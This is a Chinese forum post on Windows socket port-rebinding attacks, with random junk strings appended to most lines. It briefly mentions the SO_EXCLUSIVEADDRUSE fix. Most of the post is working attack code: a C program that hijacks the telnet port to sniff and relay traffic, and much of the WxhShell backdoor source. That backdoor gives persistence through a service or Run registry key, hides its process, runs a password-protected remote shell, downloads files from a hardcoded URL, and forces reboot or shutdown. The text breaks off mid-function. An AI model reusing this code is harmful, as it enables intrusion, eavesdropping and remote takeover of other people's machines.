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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cB'4{R@e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JO$]t|I  
~./u0E  
  saddr.sin_family = AF_INET; 9W r(w  
OnJSu z>-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R')GQ.yYq  
VL1z$<vVXt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?(hQZR 0e  
mT$tAwzTC{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :Fk&2WsW:  
^^(ZK 6d  
  这意味着什么?意味着可以进行如下的攻击: oW9rl]+  
"qp_*Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M|u5Vs1  
:Bc;.%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u _^=]K;  
:G)x+0u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 id9T[^h  
?*dx=UI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jC7XdYp  
tq93 2M4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $~\qoW<  
\OB3gnR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p0@mumh  
h2snGN/{Hb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S-dV  
GDntGTE~sk  
  #include (J#3+I  
  #include zK;t041e  
  #include :.^rWCL2  
  #include    \`x'g)z(i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ttRH[[E(  
  int main() mLO6`]p{H  
  { Heu@{t.[!D  
  WORD wVersionRequested; kLP^q+$u)!  
  DWORD ret; th{h)( +H  
  WSADATA wsaData; -u{:39y{n  
  BOOL val; "-sz7}Mb  
  SOCKADDR_IN saddr; 5l#)tX.by  
  SOCKADDR_IN scaddr; %qMk&1  
  int err; >8so'7(  
  SOCKET s; $6N. ykJ  
  SOCKET sc; *0@e_h  
  int caddsize; <G={V fr  
  HANDLE mt; "rtmDNpL  
  DWORD tid;   rcOmpgew  
  wVersionRequested = MAKEWORD( 2, 2 ); p5\b&~ g  
  err = WSAStartup( wVersionRequested, &wsaData ); ;_!;D#:  
  if ( err != 0 ) { 4Bz~_   
  printf("error!WSAStartup failed!\n"); 827N?pU$)  
  return -1; 9Z=Bs)-y.  
  } O;~1M3Ii  
  saddr.sin_family = AF_INET; chy7hPxC;  
   Q_Rr5/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 51A>eU|  
iiu\_ a=0b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `WVQp"m  
  saddr.sin_port = htons(23); UU_k"D~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /CP1mn6H  
  { kciH  
  printf("error!socket failed!\n"); "-9YvB#  
  return -1; jm!G@k6TA  
  } F 1BPzRo`  
  val = TRUE; s<myZ T$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &wJ"9pQ~6E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7Y-GbG.'  
  { *N't ;  
  printf("error!setsockopt failed!\n"); qz 'a.]{=  
  return -1; MDRSI g  
  } d(tq;2-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hod|o1C&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _M?:N:e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \ZA%"F){  
{d) +a$qj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b[$>HB_Na  
  { :)+cI?\#  
  ret=GetLastError(); nD!^0?  
  printf("error!bind failed!\n"); V r y#  
  return -1; $ _ gMJ\{  
  } lGxG$0`;;  
  listen(s,2); JV@>dK8  
  while(1) IE3GM^7\  
  { jvW/M.q4  
  caddsize = sizeof(scaddr); IuPwFf)  
  //接受连接请求 e%8K A#DX  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A w83@U  
  if(sc!=INVALID_SOCKET) {1FY HM^  
  { IKpNc+;p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^NP" m  
  if(mt==NULL) *F=w MWa  
  { E_FseR6  
  printf("Thread Creat Failed!\n"); T1Xm^{  
  break; WO]dWO6Mm  
  } ) ~X\W\  
  } _,5(HETE2  
  CloseHandle(mt); o#G7gzw)  
  } #  *\PU  
  closesocket(s); D>05F,a  
  WSACleanup(); k)'c$  
  return 0; 9hcZbM]  
  }   w+P bT6;  
  DWORD WINAPI ClientThread(LPVOID lpParam) UAa2oY&  
  { X|X6^}  
  SOCKET ss = (SOCKET)lpParam; NFsMc0{  
  SOCKET sc; |FH/Q-7[  
  unsigned char buf[4096]; w<5w?nP+Oh  
  SOCKADDR_IN saddr; .I[uXd  
  long num; +b 1lCa_  
  DWORD val; 'R= r9_%  
  DWORD ret; b bX2D/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v]c1|?9p'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \#  
  saddr.sin_family = AF_INET; Jo_h?{"L{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^BW V6  
  saddr.sin_port = htons(23); 6dV92:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P5kkaLzG  
  { B$aboL2  
  printf("error!socket failed!\n"); t/pHdxX*C7  
  return -1; {}[S,L  
  } EPW Iu)A  
  val = 100; ewD61Y8-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (:-=XR9A`  
  { -fn["R]  
  ret = GetLastError(); a'rN&*P  
  return -1; @zW'!Ol  
  } DO(FG-R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dyD =R  
  { {])F%Q_#cD  
  ret = GetLastError(); ~"iCx+pr  
  return -1; 3;@t {rIin  
  } x4Y+?2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 79z(n[^  
  { A7 E*w  
  printf("error!socket connect failed!\n"); _\1wLcFj  
  closesocket(sc); W EZ(4ah  
  closesocket(ss); ~W_m<#K(  
  return -1; ;a[56W  
  } eOE7A'X   
  while(1) z ~T[%RjO  
  { Jr==AfxyT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |JtdCP{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ebcGdC/%>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z+C>P4c-y&  
  num = recv(ss,buf,4096,0); .yd{7Te  
  if(num>0) l%oie1g l  
  send(sc,buf,num,0); dc|"34;^"  
  else if(num==0) b,cA mZ  
  break; "W?k~.uw  
  num = recv(sc,buf,4096,0); g>CF|Wj  
  if(num>0) k*\WzBTd  
  send(ss,buf,num,0); |[)t4A"}  
  else if(num==0) !-m (1  
  break; ;^^u_SuH  
  } tz4MT_f  
  closesocket(ss); yNoJrA  
  closesocket(sc); Ks(+['*S  
  return 0 ; k3da*vwE  
  } s7A{<>:  
H 0aDWFWS  
(_^g:>)Cs  
========================================================== RFU(wek  
Xp[[ xV|  
下边附上一个代码,,WXhSHELL J^R))R=  
;]D@KxO$dJ  
========================================================== cpF\^[D  
fIu5d6;'  
#include "stdafx.h" >0k7#q}O  
ClCb.Ozj4  
#include <stdio.h> N)K};yMf  
#include <string.h>  oJ ~ZzW  
#include <windows.h> s#/JMvQ#  
#include <winsock2.h> ^o+2:G5z}  
#include <winsvc.h> .h~M&d!  
#include <urlmon.h> 5"u-oE&  
IHZ WNT2  
#pragma comment (lib, "Ws2_32.lib") [u;]J*  
#pragma comment (lib, "urlmon.lib") qL091P\F  
8>RGmue  
#define MAX_USER   100 // 最大客户端连接数 ~aQ>DpSEf  
#define BUF_SOCK   200 // sock buffer X aW@CW  
#define KEY_BUFF   255 // 输入 buffer TviC1 {2  
[yM{A<\L  
#define REBOOT     0   // 重启 f50qA;7k  
#define SHUTDOWN   1   // 关机 B$1nq#@  
"aHY]E{  
#define DEF_PORT   5000 // 监听端口 -l+ &Bkf  
{";5n7<<)  
#define REG_LEN     16   // 注册表键长度 _v{,vLH  
#define SVC_LEN     80   // NT服务名长度 JP)/ O!  
mq`N&ABO!K  
// 从dll定义API 5gARGA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QMea2q|3$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EGO;g^,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U>7"BpC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JM!rop^  
rVowHP  
// wxhshell配置信息 LH@)((bi4v  
struct WSCFG { V|zzj[c  
  int ws_port;         // 监听端口 z)xGZ*{=  
  char ws_passstr[REG_LEN]; // 口令 "2;$?*hO#  
  int ws_autoins;       // 安装标记, 1=yes 0=no `Jhu&MWg  
  char ws_regname[REG_LEN]; // 注册表键名 .",E}3zn  
  char ws_svcname[REG_LEN]; // 服务名 b2u_1P\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 REDh`Wd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  /s.sW l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /1:`?% ,2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]^$&Ejpe#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zD}dvI}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ke_Dd?  
jJdw\`  
}; G 5w:  
}C!N$8d,  
// default Wxhshell configuration 9Xo'U;J  
struct WSCFG wscfg={DEF_PORT, #X'!wr|-  
    "xuhuanlingzhe", *2N$l>ql:k  
    1, J7W]Str  
    "Wxhshell", Os' 7h  
    "Wxhshell", "^VKs_U8o  
            "WxhShell Service", \_}Y4  
    "Wrsky Windows CmdShell Service", |K| c  
    "Please Input Your Password: ", b7Jk{x #u  
  1, SjV;& 1Z/  
  "http://www.wrsky.com/wxhshell.exe", )D_#  
  "Wxhshell.exe" Tu95qL~^  
    }; .vYU4g]  
^+tAgK2   
// 消息定义模块 Eh&*"&fHR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0G ^73Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JYA$_T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vggyQf%  
char *msg_ws_ext="\n\rExit."; zC #[  
char *msg_ws_end="\n\rQuit."; ^55#!/9  
char *msg_ws_boot="\n\rReboot..."; }/q]:3M|  
char *msg_ws_poff="\n\rShutdown..."; If>k~aL7I  
char *msg_ws_down="\n\rSave to "; f{MXH&d 1\  
,<s'/8Ik  
char *msg_ws_err="\n\rErr!"; [t/7hx"2t  
char *msg_ws_ok="\n\rOK!"; Ae R3wua  
ce-5XqzY@  
char ExeFile[MAX_PATH]; |1C=Ow*"  
int nUser = 0; VCfa<hn  
HANDLE handles[MAX_USER]; U|VF zpJ  
int OsIsNt; rdZk2\<  
)!J0e-T-8O  
SERVICE_STATUS       serviceStatus; udVEO n$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |n3fAN  
tQE=c 7/M  
// 函数声明 6=A   
int Install(void); NwbB\Wl  
int Uninstall(void); k2DT+}u7G  
int DownloadFile(char *sURL, SOCKET wsh); 19O /Q,9  
int Boot(int flag); MLg+ 9y  
void HideProc(void); p+#$S4V  
int GetOsVer(void); :@# '&(#~  
int Wxhshell(SOCKET wsl); c+$alw L~  
void TalkWithClient(void *cs); O& k+;r  
int CmdShell(SOCKET sock); ]pr(hk  
int StartFromService(void); 5<h7+ %?t9  
int StartWxhshell(LPSTR lpCmdLine); ovJwo r  
7.7P>U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a[d6@!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l2Z!;Wm(  
@)=\q`vV  
// 数据结构和表定义 !\w@b`Iv8  
SERVICE_TABLE_ENTRY DispatchTable[] = I?c "\Fe  
{ :MPWf4K2s  
{wscfg.ws_svcname, NTServiceMain}, :H($|$\h  
{NULL, NULL} 7(c7-  
}; >8h14uCk  
k+ [V%[U  
// 自我安装 9NXf~-V-  
int Install(void) 2k}~"!e1  
{ yop,%Fe  
  char svExeFile[MAX_PATH]; | LdDL953  
  HKEY key; zMlW)NB'  
  strcpy(svExeFile,ExeFile); 2VO bj7F  
? IgM=@  
// 如果是win9x系统,修改注册表设为自启动 %GS^=Qr  
if(!OsIsNt) { vt)u`/u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8U}BSM_<2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MNd8#01q`  
  RegCloseKey(key); 2\Bt~;EIx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bV c"'RQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?t<yk(q  
  RegCloseKey(key); d$.t0-lC  
  return 0; ;s{k32e  
    } 8+'9K%'@qX  
  } ('k;Ikut  
} #mu3`,9V  
else { 2_i/ F)W  
Sh&n DdF"  
// 如果是NT以上系统,安装为系统服务 }i,LP1R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o"h* @.  
if (schSCManager!=0) aVTTpMY  
{ ~2 aR>R_nT  
  SC_HANDLE schService = CreateService ( -^-  
  ( b {fZU?o  
  schSCManager, ,pfHNK-u  
  wscfg.ws_svcname, 6aC'\8{h  
  wscfg.ws_svcdisp, s*% pNE U  
  SERVICE_ALL_ACCESS, h\C" ti2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  %T9'dcM  
  SERVICE_AUTO_START, kB~KC-&O  
  SERVICE_ERROR_NORMAL, K(bid0 Y  
  svExeFile, +M@p)pyu  
  NULL, MP"Pqt  
  NULL, hH Kd+QpI  
  NULL, ` s [77V>  
  NULL, 7nr+X Os  
  NULL 2Lravb3  
  ); ['1JN UX  
  if (schService!=0) bEx8dc`Q  
  { NlLgXn!  
  CloseServiceHandle(schService); Tgxxm  
  CloseServiceHandle(schSCManager); $'m&RzZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %K@s0uQ  
  strcat(svExeFile,wscfg.ws_svcname); _g{*;?mS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VL6_in(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lJZ-*"9V  
  RegCloseKey(key); \~j6}4XS1.  
  return 0; {zGM[A  
    } &U <t*"  
  } 6k14xPj  
  CloseServiceHandle(schSCManager); {|cuu"j26  
} xOfZ9@VU  
} v(Vm:oK,  
.4I "[$?Q  
return 1; *hugQh ]a  
} *c"tW8uR  
KBVW <;C$  
// 自我卸载 R^t )~\d  
int Uninstall(void) 2Mqac:L  
{ Fh)`A5#  
  HKEY key; wD9Gl.uQ  
bD*z"e  
if(!OsIsNt) { . Y@)3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w?u4-GT  
  RegDeleteValue(key,wscfg.ws_regname); e* 2ay1c  
  RegCloseKey(key); OXT'$]p.*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PH,MZ"Z%  
  RegDeleteValue(key,wscfg.ws_regname); t?bc$,S"\(  
  RegCloseKey(key); -v]v m3Na  
  return 0; F|Y}X|x8Q  
  } p~X=<JM  
} ChVur{jR  
} 1rhEk|pGZ  
else { funHznRR  
]{2Eo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gW0{s[}T  
if (schSCManager!=0) ZH o#2{F  
{ (<.uvq61  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); > J!J:  
  if (schService!=0) Mv\odf\]  
  { ,gdf7&r  
  if(DeleteService(schService)!=0) { p xj}%LH  
  CloseServiceHandle(schService); s#f6qj  
  CloseServiceHandle(schSCManager); I @sXmC2$\  
  return 0; CqF= 5z:A  
  } 4 VPJv>^  
  CloseServiceHandle(schService); Y$tgz)  
  } +A 3Q$1F  
  CloseServiceHandle(schSCManager); WnATgY t  
} kqyV UfX$3  
} )Fa6 'M  
C3m](%?   
return 1; >9?BJv2  
} y[L7=Td  
ux8:   
// 从指定url下载文件 HTpoYxn(  
int DownloadFile(char *sURL, SOCKET wsh) ^;KL`  
{  (C1@f!Z  
  HRESULT hr; >pS @;t'  
char seps[]= "/";  vbol 70  
char *token; , [ogh  
char *file; Y(:.f-Du  
char myURL[MAX_PATH];  P5&mpl1  
char myFILE[MAX_PATH]; ss8de9T"'  
hvc%6A\nm  
strcpy(myURL,sURL); n aQ0TN,  
  token=strtok(myURL,seps); *{/L7])gm  
  while(token!=NULL) /Ah|Po  
  { ,{KjVv<  
    file=token; *jAw  
  token=strtok(NULL,seps); i2h,=NHJh?  
  } >n`!S`)9{  
C^dnkuA  
GetCurrentDirectory(MAX_PATH,myFILE); Gp<7i5  
strcat(myFILE, "\\"); ;p$KM-?2D  
strcat(myFILE, file); $}9.4` F>  
  send(wsh,myFILE,strlen(myFILE),0); K5oVB,z)  
send(wsh,"...",3,0); m{~p(sQL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #<^ngoOj  
  if(hr==S_OK) Ax'jNol  
return 0; 8ec6J*b  
else ."8bW^:  
return 1; xlJ8n+  
Y<A593  
} h3B s  
|fQl0hL  
// 系统电源模块 CB7 6  
int Boot(int flag) %Pz'D6 /  
{ f]P&>j|  
  HANDLE hToken; d8Keyi8[  
  TOKEN_PRIVILEGES tkp; O{B[iy(C  
5>o<! 0g  
  if(OsIsNt) { 2E@ !  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); upD 2vtU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wZ^ 7#yX>  
    tkp.PrivilegeCount = 1; >9h@Dj[|!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8SG*7[T7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  3,7SGt r  
if(flag==REBOOT) { aN87^[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K1vm [Ne  
  return 0; \P3[_kbf1  
} AbWnDqv  
else { (|(#W+l~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )^G&p[G  
  return 0; s'4S,  
} 4bT21J37  
  } (l|:$%[0  
  else { ywPFL/@  
if(flag==REBOOT) { OS X5S:XS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uk8vecj  
  return 0; c]qq *k#  
} G!y~Y]e  
else { kQr\ktN\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (A6 -9g>  
  return 0; e``X6=rcG  
} 4h|48</  
} |"7^9(  
QasUgZ  
return 1; N*k`'T  
} z[7j`J|Kk  
;:w?&4  
// win9x进程隐藏模块 (sngq{*%%z  
void HideProc(void) HJ&|&tT  
{ UR/l M,N;  
O Oa}+^-j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !9$xfg }  
  if ( hKernel != NULL ) [Rqv49n*V  
  { 3c#CEuu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kJ;fA|(I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `M "O #  
    FreeLibrary(hKernel); GzJ("RE0)v  
  } {V> >a  
rv(Qz|K@  
return; /Dn,;@ZwAi  
} U%swqle4  
+m> %(?=A  
// 获取操作系统版本 t+R8{9L-  
int GetOsVer(void) pa7Iz^i  
{ ) o)k~6uT  
  OSVERSIONINFO winfo; b*-g@S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \2F$FRWo  
  GetVersionEx(&winfo); 6[-N})  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s|Hrb_[;l  
  return 1; \'rh7!v-u  
  else (s/hK  
  return 0; l?+67cQLA  
} XJ3 5Z+M  
_L?`C  
// 客户端句柄模块 U!GG8;4  
int Wxhshell(SOCKET wsl) O23dtH  
{ e}Y|' bG  
  SOCKET wsh; vm3B>ACJ  
  struct sockaddr_in client; ~*Fbs! ;,  
  DWORD myID; CS:"F) at  
|@J:A!  
  while(nUser<MAX_USER) RHV& m()Q  
{ {b|:q>Be8  
  int nSize=sizeof(client); MEOVw[hO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [")3c)OH|  
  if(wsh==INVALID_SOCKET) return 1; 63ig!-9F  
kIHfLwh9N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B&l5yI b  
if(handles[nUser]==0) L'1p]Z"  
  closesocket(wsh); QEl:>HG  
else IF<?TYy=3B  
  nUser++; D[.;-4"_  
  } {Z>OAR#   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X8TwMt  
vOb=>  
  return 0; &_q&TEi  
} 'USol<  
R$'0<y8E*]  
// 关闭 socket ]fN\LY6p  
void CloseIt(SOCKET wsh) L-7?:  
{ )qGw!^8  
closesocket(wsh); 67/&AiS?  
nUser--; <&n\)R4C1  
ExitThread(0); ,a N8`M  
} ;&|MNN^  
gZ!vRO <%  
// 客户端请求句柄 ;~&F}!pQ  
void TalkWithClient(void *cs) K{]!hm,[3  
{ \t LfB[S.5  
/{eD##vhP  
  SOCKET wsh=(SOCKET)cs; b)+;#m  
  char pwd[SVC_LEN]; s~ZLnEb  
  char cmd[KEY_BUFF]; `QH-VR\_  
char chr[1]; NaeG2>1  
int i,j; Fdgu=qMm  
PcXz4?Q$  
  while (nUser < MAX_USER) { S#IlWU  
3},0b8};  
if(wscfg.ws_passstr) { 58x=CN\QU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HZp}<7NR(7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,KXS6:1%5Y  
  //ZeroMemory(pwd,KEY_BUFF); {> T r22S  
      i=0; }O_kbPNw  
  while(i<SVC_LEN) { K{eq'F5M  
6,nws5dh  
  // 设置超时 {rQ SB;3  
  fd_set FdRead; ]>E)0<t  
  struct timeval TimeOut; D0'L  
  FD_ZERO(&FdRead); t5r,3x!E  
  FD_SET(wsh,&FdRead); #0K122oY  
  TimeOut.tv_sec=8; M2UF3xD   
  TimeOut.tv_usec=0; jf_xm=n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  .;ptgX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0PiD<*EA  
+!dWQ=W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Y`/w$  
  pwd=chr[0]; [LDV*79Z  
  if(chr[0]==0xd || chr[0]==0xa) { jQ &$5&o  
  pwd=0; SE%B&8ZD  
  break; m+y5Q&;f  
  } inO)Y]|f  
  i++; ~j%g?;#*  
    } 5)g6yV'  
{)E)&lL  
  // 如果是非法用户,关闭 socket ao2NwH##  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~>h_#sIBC  
} ,{"%-U#z  
!j'9>G{T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); > /,7j:X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PuKT0*_ 7  
|"4+~z%/9!  
while(1) { R>BZQugZ~  
dso6ZRx  
  ZeroMemory(cmd,KEY_BUFF); _wMc7`6F  
 T06BrX  
      // 自动支持客户端 telnet标准   3q{op9_T7  
  j=0; [)K?e!c8  
  while(j<KEY_BUFF) { KI* erK [d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y|sU-O2}Dl  
  cmd[j]=chr[0]; U?vG?{A  
  if(chr[0]==0xa || chr[0]==0xd) { T#ktC0W]h  
  cmd[j]=0; [1 pWg^  
  break; `a$-"tW~j  
  } drr W?U  
  j++; JQ-O=8]  
    } CC Z'(Tkq  
ulY8$jB  
  // 下载文件 YVcFCl  
  if(strstr(cmd,"http://")) { (o+(YV^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q-scL>IkCb  
  if(DownloadFile(cmd,wsh)) $ {Y? jJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NvvaqJ  
  else iUNlNl ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A .]o&S}  
  } : ,0F_["3  
  else { _!vxX ]  
R07 7eX  
    switch(cmd[0]) { O$<m(~[S  
  K9{]v=#I  
  // 帮助 2vb{PQ  
  case '?': { >_R,^iH"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^T(v4'7  
    break; s8i@HO  
  } }vp pn=[Y  
  // 安装 ii< /!B(  
  case 'i': { PVK. %y9  
    if(Install()) I_QWdxn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2)_Zz~P^f  
    else <4l;I*:2&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [SnnOqWw  
    break; wrORyj  
    } Z/ Vb_  
  // 卸载 Me*woCos'  
  case 'r': { ~"eQPTd  
    if(Uninstall()) XsOz {?G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @-^jbmu^ P  
    else L?aaR %6#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]@Gw$  
    break; #0;H'GO?c  
    } ;|C[.0;kgv  
  // 显示 wxhshell 所在路径 Sbf+;:D  
  case 'p': { UEm~5,>$0  
    char svExeFile[MAX_PATH]; xN^ngRg0  
    strcpy(svExeFile,"\n\r"); ?^y!}(  
      strcat(svExeFile,ExeFile); Qyh_o  
        send(wsh,svExeFile,strlen(svExeFile),0); u 2)#Ml  
    break; uA`EJ )d  
    } rMV<}C ^  
  // 重启 3Ryae/Nk  
  case 'b': { #2dd`F8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UW!*=?h  
    if(Boot(REBOOT)) lWiC$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`I/\8;H'p  
    else { `~~.0QC  
    closesocket(wsh); 1[? xU:;9  
    ExitThread(0); |sG@Ku7~4  
    } Bu%TTbnz_G  
    break; )/32sz]~  
    } dfU z{  
  // 关机 =_\+6\_  
  case 'd': { G7|CwzMg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :6N'%LKK  
    if(Boot(SHUTDOWN)) h'QEwW  
